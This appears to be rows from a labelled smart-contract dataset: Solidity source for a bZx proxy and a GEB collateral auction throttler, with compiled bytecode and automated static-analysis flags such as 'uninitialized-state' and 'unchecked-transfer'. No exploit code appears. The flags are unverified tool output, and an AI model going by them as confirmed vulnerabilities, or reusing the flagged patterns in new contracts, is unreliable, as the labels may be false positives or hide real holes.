485bb4264736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,556 |
0x42738527332252a56d6968767ed7df0d1aefecc4 | /**
* Copyright 2017–2018, bZeroX, LLC. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.4.24;
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="dba9beb6b8b49be9">[email protected]</a>π.com>, Eenae <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ccada0a9b4a9b58ca1a5b4aeb5b8a9bfe2a5a3">[email protected]</a>>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev Constant for unlocked guard state - non-zero to prevent extra gas costs.
/// See: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1056
uint private constant REENTRANCY_GUARD_FREE = 1;
/// @dev Constant for locked guard state
uint private constant REENTRANCY_GUARD_LOCKED = 2;
/**
* @dev We use a single lock for the whole contract.
*/
uint private reentrancyLock = REENTRANCY_GUARD_FREE;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
require(reentrancyLock == REENTRANCY_GUARD_FREE);
reentrancyLock = REENTRANCY_GUARD_LOCKED;
_;
reentrancyLock = REENTRANCY_GUARD_FREE;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract GasTracker {
uint internal gasUsed;
modifier tracksGas() {
// tx call 21k gas
gasUsed = gasleft() + 21000;
_; // modified function body inserted here
gasUsed = 0; // zero out the storage so we don't persist anything
}
}
contract BZxEvents {
event LogLoanAdded (
bytes32 indexed loanOrderHash,
address adder,
address indexed maker,
address indexed feeRecipientAddress,
uint lenderRelayFee,
uint traderRelayFee,
uint maxDuration,
uint makerRole
);
event LogLoanTaken (
address indexed lender,
address indexed trader,
address loanTokenAddress,
address collateralTokenAddress,
uint loanTokenAmount,
uint collateralTokenAmount,
uint loanEndUnixTimestampSec,
bool firstFill,
bytes32 indexed loanOrderHash,
uint positionId
);
event LogLoanCancelled(
address indexed maker,
uint cancelLoanTokenAmount,
uint remainingLoanTokenAmount,
bytes32 indexed loanOrderHash
);
event LogLoanClosed(
address indexed lender,
address indexed trader,
address loanCloser,
bool isLiquidation,
bytes32 indexed loanOrderHash,
uint positionId
);
event LogPositionTraded(
bytes32 indexed loanOrderHash,
address indexed trader,
address sourceTokenAddress,
address destTokenAddress,
uint sourceTokenAmount,
uint destTokenAmount,
uint positionId
);
event LogMarginLevels(
bytes32 indexed loanOrderHash,
address indexed trader,
uint initialMarginAmount,
uint maintenanceMarginAmount,
uint currentMarginAmount,
uint positionId
);
event LogWithdrawProfit(
bytes32 indexed loanOrderHash,
address indexed trader,
uint profitWithdrawn,
uint remainingPosition,
uint positionId
);
event LogPayInterestForOrder(
bytes32 indexed loanOrderHash,
address indexed lender,
uint amountPaid,
uint totalAccrued,
uint loanCount
);
event LogPayInterestForPosition(
bytes32 indexed loanOrderHash,
address indexed lender,
address indexed trader,
uint amountPaid,
uint totalAccrued,
uint positionId
);
event LogChangeTraderOwnership(
bytes32 indexed loanOrderHash,
address indexed oldOwner,
address indexed newOwner
);
event LogChangeLenderOwnership(
bytes32 indexed loanOrderHash,
address indexed oldOwner,
address indexed newOwner
);
event LogIncreasedLoanableAmount(
bytes32 indexed loanOrderHash,
address indexed lender,
uint loanTokenAmountAdded,
uint loanTokenAmountFillable
);
}
contract BZxObjects {
struct ListIndex {
uint index;
bool isSet;
}
struct LoanOrder {
address loanTokenAddress;
address interestTokenAddress;
address collateralTokenAddress;
address oracleAddress;
uint loanTokenAmount;
uint interestAmount;
uint initialMarginAmount;
uint maintenanceMarginAmount;
uint maxDurationUnixTimestampSec;
bytes32 loanOrderHash;
}
struct LoanOrderAux {
address maker;
address feeRecipientAddress;
uint lenderRelayFee;
uint traderRelayFee;
uint makerRole;
uint expirationUnixTimestampSec;
}
struct LoanPosition {
address trader;
address collateralTokenAddressFilled;
address positionTokenAddressFilled;
uint loanTokenAmountFilled;
uint loanTokenAmountUsed;
uint collateralTokenAmountFilled;
uint positionTokenAmountFilled;
uint loanStartUnixTimestampSec;
uint loanEndUnixTimestampSec;
bool active;
uint positionId;
}
struct PositionRef {
bytes32 loanOrderHash;
uint positionId;
}
struct InterestData {
address lender;
address interestTokenAddress;
uint interestTotalAccrued;
uint interestPaidSoFar;
uint interestLastPaidDate;
}
}
contract BZxStorage is BZxObjects, BZxEvents, ReentrancyGuard, Ownable, GasTracker {
uint internal constant MAX_UINT = 2**256 - 1;
address public bZRxTokenContract;
address public vaultContract;
address public oracleRegistryContract;
address public bZxTo0xContract;
address public bZxTo0xV2Contract;
bool public DEBUG_MODE = false;
// Loan Orders
mapping (bytes32 => LoanOrder) public orders; // mapping of loanOrderHash to on chain loanOrders
mapping (bytes32 => LoanOrderAux) public orderAux; // mapping of loanOrderHash to on chain loanOrder auxiliary parameters
mapping (bytes32 => uint) public orderFilledAmounts; // mapping of loanOrderHash to loanTokenAmount filled
mapping (bytes32 => uint) public orderCancelledAmounts; // mapping of loanOrderHash to loanTokenAmount cancelled
mapping (bytes32 => address) public orderLender; // mapping of loanOrderHash to lender (only one lender per order)
// Loan Positions
mapping (uint => LoanPosition) public loanPositions; // mapping of position ids to loanPositions
mapping (bytes32 => mapping (address => uint)) public loanPositionsIds; // mapping of loanOrderHash to mapping of trader address to position id
// Lists
mapping (address => bytes32[]) public orderList; // mapping of lenders and trader addresses to array of loanOrderHashes
mapping (bytes32 => mapping (address => ListIndex)) public orderListIndex; // mapping of loanOrderHash to mapping of lenders and trader addresses to ListIndex objects
mapping (bytes32 => uint[]) public orderPositionList; // mapping of loanOrderHash to array of order position ids
PositionRef[] public positionList; // array of loans that need to be checked for liquidation or expiration
mapping (uint => ListIndex) public positionListIndex; // mapping of position ids to ListIndex objects
// Interest
mapping (bytes32 => mapping (uint => uint)) public interestTotal; // mapping of loanOrderHash to mapping of position ids to total interest escrowed when the loan opens
mapping (bytes32 => mapping (uint => uint)) public interestPaid; // mapping of loanOrderHash to mapping of position ids to amount of interest paid so far to a lender
mapping (bytes32 => mapping (uint => uint)) public interestPaidDate; // mapping of loanOrderHash to mapping of position ids to timestamp of last interest pay date
// Other Storage
mapping (address => address) public oracleAddresses; // mapping of oracles to their current logic contract
mapping (bytes32 => mapping (address => bool)) public preSigned; // mapping of hash => signer => signed
mapping (address => mapping (address => bool)) public allowedValidators; // mapping of signer => validator => approved
}
contract BZxProxiable {
mapping (bytes4 => address) public targets;
mapping (bytes4 => bool) public targetIsPaused;
function initialize(address _target) public;
}
contract BZxProxy is BZxStorage, BZxProxiable {
constructor(
address _settings)
public
{
require(_settings.delegatecall(bytes4(keccak256("initialize(address)")), _settings), "BZxProxy::constructor: failed");
}
function()
public
payable
{
require(!targetIsPaused[msg.sig], "BZxProxy::Function temporarily paused");
address target = targets[msg.sig];
require(target != address(0), "BZxProxy::Target not found");
bytes memory data = msg.data;
assembly {
let result := delegatecall(gas, target, add(data, 0x20), mload(data), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
function initialize(
address)
public
{
revert();
}
} | 0x60806040526004361061017f5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663093983bd811461031e57806316a6bff61461035257806319ce64e4146103745780632035d73b146103a15780632274346b146103d757806342ad3526146103ec5780634a7c3d5014610429578063715018a61461044157806371eb125e14610458578063779dec5b146104795780637955f60f1461048e5780637b8e3514146104bf57806382c174d0146104e6578063833381ce1461050a57806386042ec6146105255780638638aa65146105495780638d0671931461055e5780638da5cb5b146105795780639437d0ea1461058e5780639ae6b186146105a95780639c3f1e90146105be5780639e312dac14610638578063a72480ae146106b7578063b7a025f91461070e578063c4d66de814610723578063cce37f3e14610744578063d9fd73411461075c578063de3f26eb14610774578063f2fde38b14610789578063f4fb9b2f146107aa575b60008035600160e060020a0319168152601b602052604081205460609060ff161561023157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f425a7850726f78793a3a46756e6374696f6e2074656d706f726172696c79207060448201527f6175736564000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60008035600160e060020a0319168152601a6020526040902054600160a060020a031691508115156102c457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f425a7850726f78793a3a546172676574206e6f7420666f756e64000000000000604482015290519081900360640190fd5b6000368080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509050600080825160208401855af43d604051816000823e82801561031a578282f35b8282fd5b34801561032a57600080fd5b506103366004356107ce565b60408051600160a060020a039092168252519081900360200190f35b34801561035e57600080fd5b50610336600160e060020a0319600435166107e9565b34801561038057600080fd5b5061038f600435602435610804565b60408051918252519081900360200190f35b3480156103ad57600080fd5b506103c3600160e060020a031960043516610821565b604080519115158252519081900360200190f35b3480156103e357600080fd5b50610336610836565b3480156103f857600080fd5b50610410600435600160a060020a0360243516610845565b6040805192835290151560208301528051918290030190f35b34801561043557600080fd5b5061041060043561086c565b34801561044d57600080fd5b50610456610888565b005b34801561046457600080fd5b50610336600160a060020a03600435166108f6565b34801561048557600080fd5b50610336610911565b34801561049a57600080fd5b506104a6600435610920565b6040805192835260208301919091528051918290030190f35b3480156104cb57600080fd5b506103c3600160a060020a036004358116906024351661094c565b3480156104f257600080fd5b506103c3600435600160a060020a036024351661096c565b34801561051657600080fd5b5061038f60043560243561098c565b34801561053157600080fd5b5061038f600435600160a060020a03602435166109a9565b34801561055557600080fd5b506103c36109c6565b34801561056a57600080fd5b5061038f6004356024356109e7565b34801561058557600080fd5b50610336610a04565b34801561059a57600080fd5b5061038f600435602435610a13565b3480156105b557600080fd5b50610336610a43565b3480156105ca57600080fd5b506105d6600435610a52565b60408051600160a060020a039b8c168152998b1660208b0152978a1689890152959098166060880152608087019390935260a086019190915260c085015260e08401526101008301939093526101208201929092529051908190036101400190f35b34801561064457600080fd5b50610650600435610ab5565b60408051600160a060020a039c8d1681529a8c1660208c015298909a16898901526060890196909652608088019490945260a087019290925260c086015260e085015261010084015215156101208301526101408201929092529051908190036101600190f35b3480156106c357600080fd5b506106cf600435610b1f565b60408051600160a060020a039788168152959096166020860152848601939093526060840191909152608083015260a082015290519081900360c00190f35b34801561071a57600080fd5b50610336610b61565b34801561072f57600080fd5b50610456600160a060020a0360043516610b70565b34801561075057600080fd5b5061038f600435610b75565b34801561076857600080fd5b5061038f600435610b87565b34801561078057600080fd5b50610336610b99565b34801561079557600080fd5b50610456600160a060020a0360043516610ba8565b3480156107b657600080fd5b5061038f600160a060020a0360043516602435610bcb565b600c60205260009081526040902054600160a060020a031681565b601a60205260009081526040902054600160a060020a031681565b601660209081526000928352604080842090915290825290205481565b601b6020526000908152604090205460ff1681565b600454600160a060020a031681565b60106020908152600092835260408084209091529082529020805460019091015460ff1682565b6013602052600090815260409020805460019091015460ff1682565b600154600160a060020a0316331461089f57600080fd5b600154604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26001805473ffffffffffffffffffffffffffffffffffffffff19169055565b601760205260009081526040902054600160a060020a031681565b600354600160a060020a031681565b601280548290811061092e57fe5b60009182526020909120600290910201805460019091015490915082565b601960209081526000928352604080842090915290825290205460ff1681565b601860209081526000928352604080842090915290825290205460ff1681565b601460209081526000928352604080842090915290825290205481565b600e60209081526000928352604080842090915290825290205481565b60075474010000000000000000000000000000000000000000900460ff1681565b601560209081526000928352604080842090915290825290205481565b600154600160a060020a031681565b601160205281600052604060002081815481101515610a2e57fe5b90600052602060002001600091509150505481565b600754600160a060020a031681565b60086020819052600091825260409091208054600182015460028301546003840154600485015460058601546006870154600788015498880154600990980154600160a060020a039788169996881698958816979094169592949193909291908a565b600d60205260009081526040902080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a909a0154600160a060020a03998a169a988a16999097169795969495939492939192909160ff16908b565b600960205260009081526040902080546001820154600283015460038401546004850154600590950154600160a060020a039485169593909416939192909186565b600654600160a060020a031681565b600080fd5b600a6020526000908152604090205481565b600b6020526000908152604090205481565b600554600160a060020a031681565b600154600160a060020a03163314610bbf57600080fd5b610bc881610be6565b50565b600f60205281600052604060002081815481101515610a2e57fe5b600160a060020a0381161515610bfb57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820bca15bc71560abfb4e58ae023d820a6a4905cef5c854918606d5e77c0f8300510029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}} | 10,557 |
0x1ae2d91adf997027b7e766021adca477f481044d | /**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
pragma solidity 0.6.7;
contract GebMath {
uint256 public constant RAY = 10 ** 27;
uint256 public constant WAD = 10 ** 18;
function ray(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 9);
}
function rad(uint x) public pure returns (uint z) {
z = multiply(x, 10 ** 27);
}
function minimum(uint x, uint y) public pure returns (uint z) {
z = (x <= y) ? x : y;
}
function addition(uint x, uint y) public pure returns (uint z) {
z = x + y;
require(z >= x, "uint-uint-add-overflow");
}
function subtract(uint x, uint y) public pure returns (uint z) {
z = x - y;
require(z <= x, "uint-uint-sub-underflow");
}
function multiply(uint x, uint y) public pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "uint-uint-mul-overflow");
}
function rmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / RAY;
}
function rdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, RAY) / y;
}
function wdivide(uint x, uint y) public pure returns (uint z) {
z = multiply(x, WAD) / y;
}
function wmultiply(uint x, uint y) public pure returns (uint z) {
z = multiply(x, y) / WAD;
}
function rpower(uint x, uint n, uint base) public pure returns (uint z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
}
abstract contract StabilityFeeTreasuryLike {
function getAllowance(address) virtual external view returns (uint, uint);
function systemCoin() virtual external view returns (address);
function pullFunds(address, address, uint) virtual external;
}
contract IncreasingTreasuryReimbursement is GebMath {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "IncreasingTreasuryReimbursement/account-not-authorized");
_;
}
// --- Variables ---
// Starting reward for the fee receiver/keeper
uint256 public baseUpdateCallerReward; // [wad]
// Max possible reward for the fee receiver/keeper
uint256 public maxUpdateCallerReward; // [wad]
// Max delay taken into consideration when calculating the adjusted reward
uint256 public maxRewardIncreaseDelay; // [seconds]
// Rate applied to baseUpdateCallerReward every extra second passed beyond a certain point (e.g next time when a specific function needs to be called)
uint256 public perSecondCallerRewardIncrease; // [ray]
// SF treasury
StabilityFeeTreasuryLike public treasury;
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(
bytes32 parameter,
address addr
);
event ModifyParameters(
bytes32 parameter,
uint256 val
);
event FailRewardCaller(bytes revertReason, address feeReceiver, uint256 amount);
constructor(
address treasury_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_
) public {
if (address(treasury_) != address(0)) {
require(StabilityFeeTreasuryLike(treasury_).systemCoin() != address(0), "IncreasingTreasuryReimbursement/treasury-coin-not-set");
}
require(maxUpdateCallerReward_ >= baseUpdateCallerReward_, "IncreasingTreasuryReimbursement/invalid-max-caller-reward");
require(perSecondCallerRewardIncrease_ >= RAY, "IncreasingTreasuryReimbursement/invalid-per-second-reward-increase");
authorizedAccounts[msg.sender] = 1;
treasury = StabilityFeeTreasuryLike(treasury_);
baseUpdateCallerReward = baseUpdateCallerReward_;
maxUpdateCallerReward = maxUpdateCallerReward_;
perSecondCallerRewardIncrease = perSecondCallerRewardIncrease_;
maxRewardIncreaseDelay = uint(-1);
emit AddAuthorization(msg.sender);
emit ModifyParameters("treasury", treasury_);
emit ModifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
emit ModifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
emit ModifyParameters("perSecondCallerRewardIncrease", perSecondCallerRewardIncrease);
}
// --- Boolean Logic ---
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
// --- Treasury ---
/**
* @notice This returns the stability fee treasury allowance for this contract by taking the minimum between the per block and the total allowances
**/
function treasuryAllowance() public view returns (uint256) {
(uint total, uint perBlock) = treasury.getAllowance(address(this));
return minimum(total, perBlock);
}
/*
* @notice Get the SF reward that can be sent to a function caller right now
* @param timeOfLastUpdate The last time when the function that the treasury pays for has been updated
* @param defaultDelayBetweenCalls Enforced delay between calls to the function for which the treasury reimburses callers
*/
function getCallerReward(uint256 timeOfLastUpdate, uint256 defaultDelayBetweenCalls) public view returns (uint256) {
// If the rewards are null or if the time of the last update is in the future or present, return 0
bool nullRewards = (baseUpdateCallerReward == 0 && maxUpdateCallerReward == 0);
if (either(timeOfLastUpdate >= now, nullRewards)) return 0;
// If the time elapsed is smaller than defaultDelayBetweenCalls or if the base reward is zero, return 0
uint256 timeElapsed = (timeOfLastUpdate == 0) ? defaultDelayBetweenCalls : subtract(now, timeOfLastUpdate);
if (either(timeElapsed < defaultDelayBetweenCalls, baseUpdateCallerReward == 0)) {
return 0;
}
// If too much time elapsed, return the max reward
uint256 adjustedTime = subtract(timeElapsed, defaultDelayBetweenCalls);
uint256 maxPossibleReward = minimum(maxUpdateCallerReward, treasuryAllowance() / RAY);
if (adjustedTime > maxRewardIncreaseDelay) {
return maxPossibleReward;
}
// Calculate the reward
uint256 calculatedReward = baseUpdateCallerReward;
if (adjustedTime > 0) {
calculatedReward = rmultiply(rpower(perSecondCallerRewardIncrease, adjustedTime, RAY), calculatedReward);
}
// If the reward is higher than max, set it to max
if (calculatedReward > maxPossibleReward) {
calculatedReward = maxPossibleReward;
}
return calculatedReward;
}
/**
* @notice Send a stability fee reward to an address
* @param proposedFeeReceiver The SF receiver
* @param reward The system coin amount to send
**/
function rewardCaller(address proposedFeeReceiver, uint256 reward) internal {
// If the receiver is the treasury itself or if the treasury is null or if the reward is zero, return
if (address(treasury) == proposedFeeReceiver) return;
if (either(address(treasury) == address(0), reward == 0)) return;
// Determine the actual receiver and send funds
address finalFeeReceiver = (proposedFeeReceiver == address(0)) ? msg.sender : proposedFeeReceiver;
try treasury.pullFunds(finalFeeReceiver, treasury.systemCoin(), reward) {}
catch(bytes memory revertReason) {
emit FailRewardCaller(revertReason, finalFeeReceiver, reward);
}
}
}
abstract contract LiquidationEngineLike {
function currentOnAuctionSystemCoins() virtual public view returns (uint256);
function modifyParameters(bytes32, uint256) virtual external;
}
abstract contract SAFEEngineLike {
function globalDebt() virtual public view returns (uint256);
function globalUnbackedDebt() virtual public view returns (uint256);
function coinBalance(address) virtual public view returns (uint256);
}
contract CollateralAuctionThrottler is IncreasingTreasuryReimbursement {
// --- Variables ---
// Minimum delay between consecutive updates
uint256 public updateDelay; // [seconds]
// Delay since the last update time after which backupLimitRecompute can be called
uint256 public backupUpdateDelay; // [seconds]
// Percentage of global debt taken into account in order to set LiquidationEngine.onAuctionSystemCoinLimit
uint256 public globalDebtPercentage; // [hundred]
// The minimum auction limit
uint256 public minAuctionLimit; // [rad]
// Last timestamp when the onAuctionSystemCoinLimit was updated
uint256 public lastUpdateTime; // [unix timestamp]
LiquidationEngineLike public liquidationEngine;
SAFEEngineLike public safeEngine;
// List of surplus holders
address[] public surplusHolders;
constructor(
address safeEngine_,
address liquidationEngine_,
address treasury_,
uint256 updateDelay_,
uint256 backupUpdateDelay_,
uint256 baseUpdateCallerReward_,
uint256 maxUpdateCallerReward_,
uint256 perSecondCallerRewardIncrease_,
uint256 globalDebtPercentage_,
address[] memory surplusHolders_
) public IncreasingTreasuryReimbursement(treasury_, baseUpdateCallerReward_, maxUpdateCallerReward_, perSecondCallerRewardIncrease_) {
require(safeEngine_ != address(0), "CollateralAuctionThrottler/null-safe-engine");
require(liquidationEngine_ != address(0), "CollateralAuctionThrottler/null-liquidation-engine");
require(updateDelay_ > 0, "CollateralAuctionThrottler/null-update-delay");
require(backupUpdateDelay_ > updateDelay_, "CollateralAuctionThrottler/invalid-backup-update-delay");
require(both(globalDebtPercentage_ > 0, globalDebtPercentage_ <= HUNDRED), "CollateralAuctionThrottler/invalid-global-debt-percentage");
require(surplusHolders_.length <= HOLDERS_ARRAY_LIMIT, "CollateralAuctionThrottler/invalid-holder-array-length");
safeEngine = SAFEEngineLike(safeEngine_);
liquidationEngine = LiquidationEngineLike(liquidationEngine_);
updateDelay = updateDelay_;
backupUpdateDelay = backupUpdateDelay_;
globalDebtPercentage = globalDebtPercentage_;
surplusHolders = surplusHolders_;
emit ModifyParameters(bytes32("updateDelay"), updateDelay);
emit ModifyParameters(bytes32("globalDebtPercentage"), globalDebtPercentage);
emit ModifyParameters(bytes32("backupUpdateDelay"), backupUpdateDelay);
}
// --- Math ---
uint256 internal constant ONE = 1;
uint256 internal constant HOLDERS_ARRAY_LIMIT = 10;
uint256 internal constant HUNDRED = 100;
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Administration ---
/*
* @notify Modify a uint256 parameter
* @param parameter The name of the parameter to modify
* @param data The new parameter value
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "baseUpdateCallerReward") {
require(data <= maxUpdateCallerReward, "CollateralAuctionThrottler/invalid-min-reward");
baseUpdateCallerReward = data;
}
else if (parameter == "maxUpdateCallerReward") {
require(data >= baseUpdateCallerReward, "CollateralAuctionThrottler/invalid-max-reward");
maxUpdateCallerReward = data;
}
else if (parameter == "perSecondCallerRewardIncrease") {
require(data >= RAY, "CollateralAuctionThrottler/invalid-reward-increase");
perSecondCallerRewardIncrease = data;
}
else if (parameter == "maxRewardIncreaseDelay") {
require(data > 0, "CollateralAuctionThrottler/invalid-max-increase-delay");
maxRewardIncreaseDelay = data;
}
else if (parameter == "updateDelay") {
require(data > 0, "CollateralAuctionThrottler/null-update-delay");
updateDelay = data;
}
else if (parameter == "backupUpdateDelay") {
require(data > updateDelay, "CollateralAuctionThrottler/invalid-backup-update-delay");
backupUpdateDelay = data;
}
else if (parameter == "globalDebtPercentage") {
require(both(data > 0, data <= HUNDRED), "CollateralAuctionThrottler/invalid-global-debt-percentage");
globalDebtPercentage = data;
}
else if (parameter == "minAuctionLimit") {
minAuctionLimit = data;
}
else revert("CollateralAuctionThrottler/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/*
* @notify Modify the address of a contract param
* @param parameter The name of the parameter to change the address for
* @param addr The new address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
require(addr != address(0), "CollateralAuctionThrottler/null-addr");
if (parameter == "treasury") {
require(StabilityFeeTreasuryLike(addr).systemCoin() != address(0), "CollateralAuctionThrottler/treasury-coin-not-set");
treasury = StabilityFeeTreasuryLike(addr);
}
else if (parameter == "liquidationEngine") {
liquidationEngine = LiquidationEngineLike(addr);
}
else revert("CollateralAuctionThrottler/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Recompute Logic ---
/*
* @notify Recompute and set the new onAuctionSystemCoinLimit
* @param feeReceiver The address that will receive the reward for recomputing the onAuctionSystemCoinLimit
*/
function recomputeOnAuctionSystemCoinLimit(address feeReceiver) public {
// Check delay between calls
require(either(subtract(now, lastUpdateTime) >= updateDelay, lastUpdateTime == 0), "CollateralAuctionThrottler/wait-more");
// Get the caller's reward
uint256 callerReward = getCallerReward(lastUpdateTime, updateDelay);
// Store the timestamp of the update
lastUpdateTime = now;
// Compute total surplus
uint256 totalSurplus;
for (uint i = 0; i < surplusHolders.length; i++) {
totalSurplus = addition(totalSurplus, safeEngine.coinBalance(surplusHolders[i]));
}
// Remove surplus from global debt
uint256 rawGlobalDebt = subtract(safeEngine.globalDebt(), totalSurplus);
rawGlobalDebt = subtract(rawGlobalDebt, safeEngine.globalUnbackedDebt());
// Calculate and set the onAuctionSystemCoinLimit
uint256 newAuctionLimit = multiply(rawGlobalDebt / HUNDRED, globalDebtPercentage);
uint256 currentOnAuctionSystemCoins = liquidationEngine.currentOnAuctionSystemCoins();
newAuctionLimit = (newAuctionLimit <= minAuctionLimit) ? minAuctionLimit : newAuctionLimit;
newAuctionLimit = (newAuctionLimit == 0) ? uint(-1) : newAuctionLimit;
newAuctionLimit = (newAuctionLimit < currentOnAuctionSystemCoins) ? currentOnAuctionSystemCoins : newAuctionLimit;
liquidationEngine.modifyParameters("onAuctionSystemCoinLimit", newAuctionLimit);
// Pay the caller for updating the rate
rewardCaller(feeReceiver, callerReward);
}
/*
* @notify Backup function for recomputing the onAuctionSystemCoinLimit in case of a severe delay since the last update
*/
function backupRecomputeOnAuctionSystemCoinLimit() public {
// Check delay between calls
require(both(subtract(now, lastUpdateTime) >= backupUpdateDelay, lastUpdateTime > 0), "CollateralAuctionThrottler/wait-more");
// Store the timestamp of the update
lastUpdateTime = now;
// Set the onAuctionSystemCoinLimit
liquidationEngine.modifyParameters("onAuctionSystemCoinLimit", uint(-1));
}
} | 0x608060405234801561001057600080fd5b50600436106102115760003560e01c806361d027b311610125578063b11911c5116100ad578063dd2d2a121161007c578063dd2d2a12146104bf578063f238ffd2146104e2578063f752fdc314610505578063fc1a8eda14610528578063fe4f58901461054557610211565b8063b11911c51461047e578063c8f33c9114610486578063d23cb7851461048e578063d6e882dc1461049657610211565b80636a146024116100f45780636a1460241461041d578063911e8a571461042557806394f3f81d1461042d578063a087163714610453578063ab4228011461047657610211565b806361d027b3146103d95780636614f010146103e157806367aea3131461040d57806369dec2761461041557610211565b806336b8b425116101a857806344bf3c721161017757806344bf3c721461036557806346f3e81c1461038957806354f363a3146103a6578063552033c4146103c9578063554f94db146103d157610211565b806336b8b425146102f15780633c8bb3e6146103175780633ef5e4451461033a57806343943b6b1461035d57610211565b80632009e568116101e45780632009e5681461029357806324ba58841461029b5780633425677e146102c157806335b28153146102c957610211565b8063056640b714610216578063102134471461024b578063165c4a16146102685780631c1f908c1461028b575b600080fd5b6102396004803603604081101561022c57600080fd5b5080359060200135610568565b60408051918252519081900360200190f35b6102396004803603602081101561026157600080fd5b503561058f565b6102396004803603604081101561027e57600080fd5b50803590602001356105a5565b61023961060a565b610239610610565b610239600480360360208110156102b157600080fd5b50356001600160a01b0316610616565b610239610628565b6102ef600480360360208110156102df57600080fd5b50356001600160a01b03166106bf565b005b6102ef6004803603602081101561030757600080fd5b50356001600160a01b031661075f565b6102396004803603604081101561032d57600080fd5b5080359060200135610b01565b6102396004803603604081101561035057600080fd5b5080359060200135610b16565b610239610b6e565b61036d610b74565b604080516001600160a01b039092168252519081900360200190f35b6102396004803603602081101561039f57600080fd5b5035610b83565b610239600480360360408110156103bc57600080fd5b5080359060200135610b9a565b610239610beb565b610239610bfa565b61036d610c00565b6